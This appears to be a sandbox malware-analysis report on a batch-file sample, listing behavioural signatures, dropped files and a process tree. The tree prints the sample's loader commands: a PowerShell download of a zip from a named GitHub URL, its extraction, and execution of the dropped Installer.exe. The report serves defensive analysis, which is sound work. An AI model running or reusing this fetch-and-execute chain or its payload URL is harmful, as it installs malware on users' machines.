Analysis

  • user interaction
    yes
  • max time kernel
    30s
  • max time network
    22s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    18/08/2026, 04:06

General

  • Target
    test.bat
  • Size 484B
  • Sample260818-en76padr21
  • SHA256 749bdd917aab23856d306968b7b0f148caa3dd68efb06e78ff59a31c715885a2
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/Pictures.zip' -OutFile 'C:\ProgramData\test\app_bundle.zip'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path 'C:\ProgramData\test\app_bundle.zip' -DestinationPath 'C:\ProgramData\test' -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2588
    • C:\ProgramData\test\Installer.exe
      "C:\ProgramData\test\Installer.exe"
      2⤵
      • Executes dropped EXE
      PID:2004

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Installer.exe

        • Path C:\ProgramData\test\Installer.exe
        • Size 218KB
        • SHA256 224ce2894ce264e5857b2b8b6aff07e0f223e0c83b7d06be003cc918fd99f375
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app_bundle.zip

        • Path C:\ProgramData\test\app_bundle.zip
        • Size 91KB
        • SHA256 8ee9882b7497ce4e4818f80e518eb0e6401d4a66a4ef018206923712ee26be90
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5f2e5fc2549c658a42af3c6d95af7192a43665811cac48d5eb5db9cf183c98cb
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_0jttkzt2.kxq.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0jttkzt2.kxq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2588-35-0x00000293A38C0000-0x00000293A38CA000-memory.dmp

        memory/2588-16-0x00000293A3900000-0x00000293A3910000-memory.dmp

        memory/2588-15-0x00000293A3900000-0x00000293A3910000-memory.dmp

        memory/2588-25-0x00000293A3900000-0x00000293A3910000-memory.dmp

        memory/2588-33-0x00000293A38A0000-0x00000293A38BC000-memory.dmp

        memory/2588-34-0x00000293A6770000-0x00000293A6825000-memory.dmp

        memory/2588-36-0x00000293A38B0000-0x00000293A38C2000-memory.dmp

        memory/2588-37-0x00000293A38A0000-0x00000293A38AA000-memory.dmp

        memory/4588-10-0x000001D5251C0000-0x000001D5251D0000-memory.dmp

        memory/4588-0-0x000001D5251C0000-0x000001D5251D0000-memory.dmp

        memory/4588-2-0x000001D525150000-0x000001D525172000-memory.dmp

        memory/4588-1-0x000001D5251C0000-0x000001D5251D0000-memory.dmp